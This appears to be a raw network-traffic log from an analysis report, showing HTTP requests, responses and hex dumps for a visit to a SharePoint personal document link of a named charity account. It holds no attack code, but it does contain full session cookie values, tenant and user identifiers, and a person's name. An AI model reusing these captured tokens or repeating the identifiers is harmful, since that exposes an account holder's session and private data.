2024-06-05 14:16:27 UTC	3659	IN	HTTP/1.1 302 Found Cache-Control: private Content-Length: 629 Content-Type: text/html; charset=utf-8 Location: https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/Doc.aspx?sourcedoc=%7B56148668-3e21-4f1b-8f3e-63b1975c468a%7D&action=default&slrid=efae2fa1-1062-8000-f22d-5097d38bed06&originalPath=aHR0cHM6Ly9taWRsYW5kbGFuZ2Fyc2V2YXNvY2lldHktbXkuc2hhcmVwb2ludC5jb20vOnc6L2cvcGVyc29uYWwvc2hhcm9uX2JoYXJhal9tbHNzX29yZ191ay9FV2lHRkZZaFBodFBqejVqc1pkY1Jvb0JQR0xoLXE1U3Nnd2dJaG1QN0pDbUFnP3J0aW1lPTItQ1BGbXFGM0Vn&CID=e3c5f618-5c32-4945-897c-be30a8b6d1fb&_SRM=0:G:76 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjItODAwMC1mMjJkLTUwOTdkMzhiZWQwNixFaWR5QmpsWkgwT3EyMnduWDM2OU53LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3OTIsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LFArSXdhSnYzY1p3bjJIekhUQmZmWUFtSTR1ckZ0bDFVVm02YmZuaVdFR2hxREVUNDRyc1B5bDJRUlZpY1J2MXRMM2xqR3A3UnQwMk4wc2QraXV4aGhHMnJkVEx6cm9UTmVEeWtTZ0R6RWVpUHlaeHBMQi9YL1VpUHJUVHdaQ01IUllIZWdOYVdxc2cxNDhpTDRvZ0J2V0JZSHhuMnE2djRzUlhNWTRUcW5sMk9yZWl2M3M0eW9aY3lkd2p3RWc4aWhSYVVqTUtEcjRBK05pR2JFSlQyUFQwMTE1NEMxR1NwaHdqOHY5L1ZNM2pCSWdQb09XaHh4 [TRUNCATED] X-NetworkStatistics: 0,525568,0,0,66199,0,26357,116 X-SharePointHealthScore: 1 X-AspNet-Version: 4.0.30319 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: efae2fa1-1062-8000-f22d-5097d38bed06 request-id: efae2fa1-1062-8000-f22d-5097d38bed06 MS-CV: oS+u72IQAIDyLVCX04vtBg.0 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=fa750e3d-6556-45c9-b0ef-c98ec9a321b9&destinationEndpoint=Edge-Prod-DFW31r5c&frontEnd=AFD&RemoteIP=173.254.250.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com .office365.com goals.cloud.microsoft .powerapps.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 222 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.24915 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 78E88D1E9EBE4D008C10170CBC35D980 Ref B: DFW311000106047 Ref C: 2024-06-05T14:16:26Z Date: Wed, 05 Jun 2024 14:16:26 GMT Connection: close
2024-06-05 14:16:27 UTC	629	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 69 64 6c 61 6e 64 6c 61 6e 67 61 72 73 65 76 61 73 6f 63 69 65 74 79 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 73 68 61 72 6f 6e 5f 62 68 61 72 61 6a 5f 6d 6c 73 73 5f 6f 72 67 5f 75 6b 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 44 6f 63 2e 61 73 70 78 3f 73 6f 75 72 63 65 64 6f 63 3d 25 37 42 35 36 31 34 38 36 36 38 2d 33 65 32 31 2d 34 66 31 62 2d 38 66 33 65 2d 36 33 62 31 39 37 35 63 34 36 38 61 25 37 44 26 61 6d 70 3b 61 63 74 69 6f 6e 3d 64 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/Doc.aspx?sourcedoc=%7B56148668-3e21-4f1b-8f3e-63b1975c468a%7D&action=d

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:27 UTC	2288	OUT	GET /personal/sharon_bharaj_mlss_org_uk/_layouts/15/Doc.aspx?sourcedoc=%7B56148668-3e21-4f1b-8f3e-63b1975c468a%7D&action=default&slrid=efae2fa1-1062-8000-f22d-5097d38bed06&originalPath=aHR0cHM6Ly9taWRsYW5kbGFuZ2Fyc2V2YXNvY2lldHktbXkuc2hhcmVwb2ludC5jb20vOnc6L2cvcGVyc29uYWwvc2hhcm9uX2JoYXJhal9tbHNzX29yZ191ay9FV2lHRkZZaFBodFBqejVqc1pkY1Jvb0JQR0xoLXE1U3Nnd2dJaG1QN0pDbUFnP3J0aW1lPTItQ1BGbXFGM0Vn&CID=e3c5f618-5c32-4945-897c-be30a8b6d1fb&_SRM=0:G:76 HTTP/1.1 Host: midlandlangarsevasociety-my.sharepoint.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjItODAwMC1mMjJkLTUwOTdkMzhiZWQwNixFaWR5QmpsWkgwT3EyMnduWDM2OU53LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3OTIsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LFArSXdhSnYzY1p3bjJIekhUQmZmWUFtSTR1ckZ0bDFVVm02YmZuaVdFR2hxREVUNDRyc1B5bDJRUlZpY1J2MXRMM2xqR3A3UnQwMk4wc2QraXV4aGhHMnJkVEx6cm9UTmVEeWtTZ0R6RWVpUHlaeHBMQi9YL1VpUHJUVHdaQ01IUllIZWdOYVdxc2cxNDhpTDRvZ0J2V0JZSHhuMnE2djRzUlhNWTRUcW5sMk9yZWl2M3M0eW9aY3lkd2p3RWc4aWhSYVVqTUtEcjRBK05pR2JFSlQyUFQwMTE1NEMxR1NwaHdqOHY5L1ZNM2pCSWdQb09XaHh4eUFI [TRUNCATED]
2024-06-05 14:16:28 UTC	3272	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjItODAwMC1mMjJkLTUwOTdkMzhiZWQwNixFaWR5QmpsWkgwT3EyMnduWDM2OU53LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3OTIsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LFArSXdhSnYzY1p3bjJIekhUQmZmWUFtSTR1ckZ0bDFVVm02YmZuaVdFR2hxREVUNDRyc1B5bDJRUlZpY1J2MXRMM2xqR3A3UnQwMk4wc2QraXV4aGhHMnJkVEx6cm9UTmVEeWtTZ0R6RWVpUHlaeHBMQi9YL1VpUHJUVHdaQ01IUllIZWdOYVdxc2cxNDhpTDRvZ0J2V0JZSHhuMnE2djRzUlhNWTRUcW5sMk9yZWl2M3M0eW9aY3lkd2p3RWc4aWhSYVVqTUtEcjRBK05pR2JFSlQyUFQwMTE1NEMxR1NwaHdqOHY5L1ZNM2pCSWdQb09XaHh4 [TRUNCATED] X-NetworkStatistics: 0,525568,0,0,261,0,24241,117 X-SharePointHealthScore: 2 Referrer-Policy: no-referrer, strict-origin-when-cross-origin Server-Timing: LT; desc=0, RS; desc=G, RD; dur=76 X-AspNet-Version: 4.0.30319 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: efae2fa1-00c2-9000-0f29-ad1b777b053f request-id: efae2fa1-00c2-9000-0f29-ad1b777b053f MS-CV: oS+u78IAAJAPKa0bd3sFPw.0 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=fa750e3d-6556-45c9-b0ef-c98ec9a321b9&destinationEndpoint=Edge-Prod-DFW31r5a&frontEnd=AFD&RemoteIP=173.254.250.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com .office365.com goals.cloud.microsoft .powerapps.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.24915 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F6AC3CCF3B934AB5AFBC84E8D2F1C8F1 Ref B: DFW311000110033 Ref C: 2024-06-05T14:16:28Z Date: Wed, 05 Jun 2024 14:16:28 GMT Connection: close
2024-06-05 14:16:28 UTC	898	IN	Data Raw: 33 37 62 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 09 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0d 0a 09 3c 6d 65 74 61 0d 0a 09 09 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0d 0a 09 09 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f Data Ascii: 37b<!DOCTYPE html><html lang="en-us" dir="ltr"><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><metaname="viewport"content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no
2024-06-05 14:16:28 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 43 6c 69 65 6e 74 20 3d 20 7b 20 64 6f 63 46 69 72 73 74 46 6c 75 73 68 54 69 6d 65 20 3a 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 20 7d 20 3b 0d 0a 09 09 76 61 72 20 77 61 63 55 69 48 6f 73 74 53 65 73 73 69 6f 6e 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 09 76 61 72 20 77 6f 70 69 43 6f 6e 74 65 78 74 46 6c 75 73 68 54 69 6d 65 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 09 76 61 72 20 5f 77 6f 70 69 43 6f 6e 74 65 78 74 4a 73 6f 6e 20 3d 7b 22 48 6f 73 74 4e 61 6d 65 22 3a 22 53 68 61 72 65 50 6f 69 6e 74 20 4f 6e 6c 69 6e 65 22 2c 22 53 65 73 73 69 6f 6e 49 64 22 3a 22 45 46 41 45 32 46 41 31 2d 30 30 43 32 2d 39 30 30 30 2d 30 46 32 39 2d 41 44 31 42 37 37 37 42 30 35 33 46 22 2c 22 55 73 65 72 49 64 22 3a 22 75 72 6e 3a 73 70 6f Data Ascii: 2000Client = { docFirstFlushTime : new Date().getTime() } ;var wacUiHostSession = null;var wopiContextFlushTime = null;var _wopiContextJson ={"HostName":"SharePoint Online","SessionId":"EFAE2FA1-00C2-9000-0F29-AD1B777B053F","UserId":"urn:spo
2024-06-05 14:16:28 UTC	4152	IN	Data Raw: 31 30 33 30 0d 0a 65 22 3a 22 75 72 6e 3a 73 70 6f 3a 61 6e 6f 6e 23 30 36 61 63 37 62 33 33 64 33 31 66 66 61 34 66 63 64 38 64 32 62 65 33 39 32 33 63 37 33 33 39 61 38 31 61 36 38 63 35 32 37 37 31 32 34 66 64 35 39 39 32 30 31 30 36 63 61 33 64 34 33 37 39 22 2c 22 75 73 65 72 45 6d 61 69 6c 22 3a 22 22 2c 22 73 69 74 65 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 22 3a 22 66 61 37 35 30 65 33 64 2d 36 35 35 36 2d 34 35 63 39 2d 62 30 65 66 2d 63 39 38 65 63 39 61 33 32 31 62 39 22 2c 22 66 61 72 6d 4c 61 62 65 6c 22 3a 22 47 42 52 5f 32 30 31 5f 43 6f 6e 74 65 6e 74 22 2c 22 77 65 62 41 62 73 6f 6c 75 74 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 69 64 6c 61 6e 64 6c 61 6e 67 61 72 73 65 76 61 73 6f 63 69 65 74 79 2d 6d 79 2e 73 68 61 72 65 70 6f Data Ascii: 1030e":"urn:spo:anon#06ac7b33d31ffa4fcd8d2be3923c7339a81a68c5277124fd59920106ca3d4379","userEmail":"","siteSubscriptionId":"fa750e3d-6556-45c9-b0ef-c98ec9a321b9","farmLabel":"GBR_201_Content","webAbsoluteUrl":"https://midlandlangarsevasociety-my.sharepo
2024-06-05 14:16:28 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 34 33 34 35 2d 38 32 41 43 2d 38 41 39 37 30 34 38 35 30 32 44 42 22 3a 31 2c 22 36 37 30 38 36 45 38 39 2d 30 30 43 38 2d 45 45 41 45 2d 41 38 43 45 2d 43 31 30 38 44 31 31 45 43 39 35 43 22 3a 31 2c 22 36 41 30 35 36 42 37 30 2d 45 38 45 30 2d 34 36 44 32 2d 39 38 43 42 2d 34 37 42 35 31 33 32 30 46 43 46 34 22 3a 31 2c 22 34 31 43 43 35 31 45 46 2d 32 43 39 46 2d 34 31 43 32 2d 42 43 34 38 2d 34 30 46 46 32 30 43 31 31 30 43 44 22 3a 31 2c 22 34 41 31 30 39 46 46 46 2d 46 43 44 43 2d 34 44 39 44 2d 41 41 35 32 2d 34 35 32 45 35 44 43 38 32 32 38 43 22 3a 31 2c 22 33 42 42 30 45 44 42 32 2d 45 46 41 46 2d 34 42 46 46 2d 38 31 34 41 2d 30 44 34 38 34 46 37 36 30 43 33 44 22 3a 31 2c 22 35 36 45 45 33 35 30 37 2d 45 44 35 32 2d 34 46 30 Data Ascii: 20004345-82AC-8A97048502DB":1,"67086E89-00C8-EEAE-A8CE-C108D11EC95C":1,"6A056B70-E8E0-46D2-98CB-47B51320FCF4":1,"41CC51EF-2C9F-41C2-BC48-40FF20C110CD":1,"4A109FFF-FCDC-4D9D-AA52-452E5DC8228C":1,"3BB0EDB2-EFAF-4BFF-814A-0D484F760C3D":1,"56EE3507-ED52-4F0
2024-06-05 14:16:28 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 42 46 2d 38 34 38 30 2d 34 39 38 35 2d 41 38 43 30 2d 31 35 41 35 37 34 36 41 44 39 30 42 22 3a 31 2c 22 39 43 44 41 37 38 31 41 2d 45 39 30 38 2d 34 45 30 39 2d 42 46 31 31 2d 46 42 41 35 46 37 35 46 34 33 37 41 22 3a 31 2c 22 42 37 45 36 36 39 44 30 2d 46 31 38 46 2d 34 37 32 44 2d 42 37 38 41 2d 38 35 32 44 44 32 42 30 45 36 31 33 22 3a 31 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 31 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 31 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 31 2c 22 33 36 45 33 33 36 38 38 2d Data Ascii: 2000BF-8480-4985-A8C0-15A5746AD90B":1,"9CDA781A-E908-4E09-BF11-FBA5F75F437A":1,"B7E669D0-F18F-472D-B78A-852DD2B0E613":1,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":1,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":1,"73939C5F-427B-4C02-B08B-50E778ABDF4B":1,"36E33688-
2024-06-05 14:16:28 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 2c 22 46 45 33 39 44 43 30 43 2d 43 44 45 39 2d 34 44 43 33 2d 38 46 39 37 2d 44 32 33 39 45 34 45 45 46 34 46 45 22 3a 31 2c 22 37 39 30 39 46 44 38 38 2d 32 36 32 38 2d 34 30 34 32 2d 41 30 37 39 2d 32 44 45 39 42 30 41 43 38 39 45 38 22 3a 31 2c 22 43 37 32 39 41 46 39 36 2d 33 35 37 30 2d 34 44 38 41 2d 42 33 43 31 2d 45 39 34 33 42 32 30 33 30 42 30 33 22 3a 31 2c 22 33 46 38 32 42 36 44 35 2d 46 45 31 44 2d 34 41 43 37 2d 39 45 37 44 2d 34 42 39 43 33 41 30 35 35 43 42 35 22 3a 31 2c 22 39 45 46 38 45 33 34 43 2d 45 36 44 33 2d 34 33 41 35 2d 39 35 33 36 2d 35 38 37 31 41 45 33 43 37 39 39 35 22 3a 31 2c 22 30 32 31 46 31 45 45 46 2d 36 42 39 30 2d 34 33 42 34 2d 38 30 33 34 2d 34 39 45 42 36 30 30 37 32 46 33 39 22 3a 31 2c 22 42 Data Ascii: 2000,"FE39DC0C-CDE9-4DC3-8F97-D239E4EEF4FE":1,"7909FD88-2628-4042-A079-2DE9B0AC89E8":1,"C729AF96-3570-4D8A-B3C1-E943B2030B03":1,"3F82B6D5-FE1D-4AC7-9E7D-4B9C3A055CB5":1,"9EF8E34C-E6D3-43A5-9536-5871AE3C7995":1,"021F1EEF-6B90-43B4-8034-49EB60072F39":1,"B
2024-06-05 14:16:28 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 46 46 36 46 38 22 3a 31 2c 22 36 44 41 42 39 32 46 30 2d 30 38 30 41 2d 34 45 32 36 2d 41 37 39 34 2d 37 30 41 43 33 30 46 34 46 41 38 31 22 3a 31 2c 22 42 42 33 38 32 42 45 44 2d 30 31 32 41 2d 34 42 34 42 2d 42 34 37 43 2d 43 33 41 46 36 45 41 34 38 39 44 32 22 3a 31 2c 22 36 30 45 45 33 35 45 45 2d 33 45 37 34 2d 34 45 34 44 2d 42 35 31 41 2d 30 45 46 42 33 38 31 32 37 30 30 33 22 3a 31 2c 22 45 39 43 37 37 33 42 39 2d 33 44 38 39 2d 34 32 30 44 2d 39 44 45 46 2d 33 33 44 34 30 33 45 41 44 34 31 46 22 3a 31 2c 22 36 34 34 39 33 33 36 42 2d 34 36 37 46 2d 34 44 37 44 2d 41 32 30 35 2d 44 37 38 31 39 38 43 44 33 37 37 42 22 3a 31 2c 22 42 44 33 45 39 32 33 32 2d 37 35 44 31 2d 34 30 36 44 2d 39 36 42 33 2d 32 38 41 46 30 44 41 37 37 34 Data Ascii: 2000FF6F8":1,"6DAB92F0-080A-4E26-A794-70AC30F4FA81":1,"BB382BED-012A-4B4B-B47C-C3AF6EA489D2":1,"60EE35EE-3E74-4E4D-B51A-0EFB38127003":1,"E9C773B9-3D89-420D-9DEF-33D403EAD41F":1,"6449336B-467F-4D7D-A205-D78198CD377B":1,"BD3E9232-75D1-406D-96B3-28AF0DA774
2024-06-05 14:16:28 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 2d 39 44 36 42 41 32 44 45 33 46 33 41 22 3a 31 2c 22 44 44 45 39 34 33 35 45 2d 43 44 36 32 2d 34 37 41 41 2d 42 44 35 30 2d 39 38 36 35 42 30 37 46 45 37 39 45 22 3a 31 2c 22 41 46 39 33 46 43 33 41 2d 38 44 44 46 2d 34 36 45 45 2d 38 44 45 41 2d 37 31 41 33 43 43 44 41 43 33 32 33 22 3a 31 2c 22 43 45 45 34 43 36 33 39 2d 39 31 45 45 2d 34 38 36 42 2d 38 38 38 36 2d 45 32 36 34 31 36 41 36 46 38 32 37 22 3a 31 2c 22 37 37 44 38 33 30 37 33 2d 39 32 30 39 2d 34 31 37 46 2d 41 30 30 43 2d 43 42 31 43 42 34 43 30 39 43 31 38 22 3a 31 2c 22 46 37 39 30 35 37 31 34 2d 38 45 41 34 2d 34 46 41 38 2d 42 32 38 46 2d 44 33 46 32 37 36 43 44 45 42 38 31 22 3a 31 2c 22 38 33 44 34 43 38 36 31 2d 30 39 35 41 2d 34 46 46 36 2d 42 37 39 38 2d 42 31 Data Ascii: 2000-9D6BA2DE3F3A":1,"DDE9435E-CD62-47AA-BD50-9865B07FE79E":1,"AF93FC3A-8DDF-46EE-8DEA-71A3CCDAC323":1,"CEE4C639-91EE-486B-8886-E26416A6F827":1,"77D83073-9209-417F-A00C-CB1CB4C09C18":1,"F7905714-8EA4-4FA8-B28F-D3F276CDEB81":1,"83D4C861-095A-4FF6-B798-B1
2024-06-05 14:16:28 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 41 46 30 2d 38 35 41 30 2d 35 45 39 42 35 36 39 44 41 32 44 30 22 3a 31 2c 22 44 31 33 31 36 44 45 42 2d 46 31 43 32 2d 34 45 39 33 2d 42 46 34 41 2d 44 32 44 31 37 31 31 42 41 35 46 35 22 3a 31 2c 22 37 36 31 30 46 44 43 38 2d 35 42 31 38 2d 34 32 37 32 2d 42 35 42 34 2d 32 35 38 34 38 44 33 46 35 41 37 30 22 3a 31 2c 22 44 38 41 43 33 42 38 35 2d 35 37 34 31 2d 34 32 46 36 2d 39 37 44 35 2d 39 45 36 43 30 32 30 37 32 45 41 36 22 3a 31 2c 22 41 35 43 32 30 39 38 37 2d 42 32 46 35 2d 34 43 46 34 2d 41 30 30 38 2d 44 34 46 45 43 30 46 43 44 35 32 45 22 3a 31 2c 22 42 31 39 39 43 37 33 37 2d 45 34 35 45 2d 34 36 43 37 2d 39 44 41 36 2d 38 30 33 41 38 35 42 34 41 33 35 38 22 3a 31 2c 22 35 32 31 34 34 41 43 32 2d 45 37 46 33 2d 34 43 31 33 Data Ascii: 2000AF0-85A0-5E9B569DA2D0":1,"D1316DEB-F1C2-4E93-BF4A-D2D1711BA5F5":1,"7610FDC8-5B18-4272-B5B4-25848D3F5A70":1,"D8AC3B85-5741-42F6-97D5-9E6C02072EA6":1,"A5C20987-B2F5-4CF4-A008-D4FEC0FCD52E":1,"B199C737-E45E-46C7-9DA6-803A85B4A358":1,"52144AC2-E7F3-4C13
2024-06-05 14:16:28 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 36 2d 31 31 36 41 2d 34 31 45 38 2d 42 34 44 41 2d 46 38 38 43 36 44 44 41 38 34 43 46 22 3a 31 2c 22 46 45 39 32 43 30 44 37 2d 45 44 31 30 2d 34 46 32 46 2d 39 39 42 31 2d 45 44 45 36 45 38 42 33 44 31 45 30 22 3a 31 2c 22 44 38 36 46 45 39 31 39 2d 46 32 37 39 2d 34 31 44 44 2d 42 34 35 41 2d 46 41 43 45 33 45 36 46 33 32 46 33 22 3a 31 2c 22 35 36 37 37 42 42 41 46 2d 42 37 36 41 2d 34 42 35 39 2d 41 39 31 45 2d 31 33 31 38 44 33 39 43 35 41 41 44 22 3a 31 2c 22 38 32 31 41 45 43 36 38 2d 43 36 39 36 2d 34 45 45 34 2d 38 34 30 46 2d 45 42 44 39 38 45 37 41 34 42 41 33 22 3a 31 2c 22 32 37 39 36 30 36 35 37 2d 31 36 39 39 2d 34 38 32 42 2d 42 33 46 38 2d 37 45 34 38 44 46 30 35 38 41 39 42 22 3a 31 2c 22 33 31 30 35 37 34 43 42 2d 30 Data Ascii: 20006-116A-41E8-B4DA-F88C6DDA84CF":1,"FE92C0D7-ED10-4F2F-99B1-EDE6E8B3D1E0":1,"D86FE919-F279-41DD-B45A-FACE3E6F32F3":1,"5677BBAF-B76A-4B59-A91E-1318D39C5AAD":1,"821AEC68-C696-4EE4-840F-EBD98E7A4BA3":1,"27960657-1699-482B-B3F8-7E48DF058A9B":1,"310574CB-0

Timestamp	Bytes transferred	Direction	Data
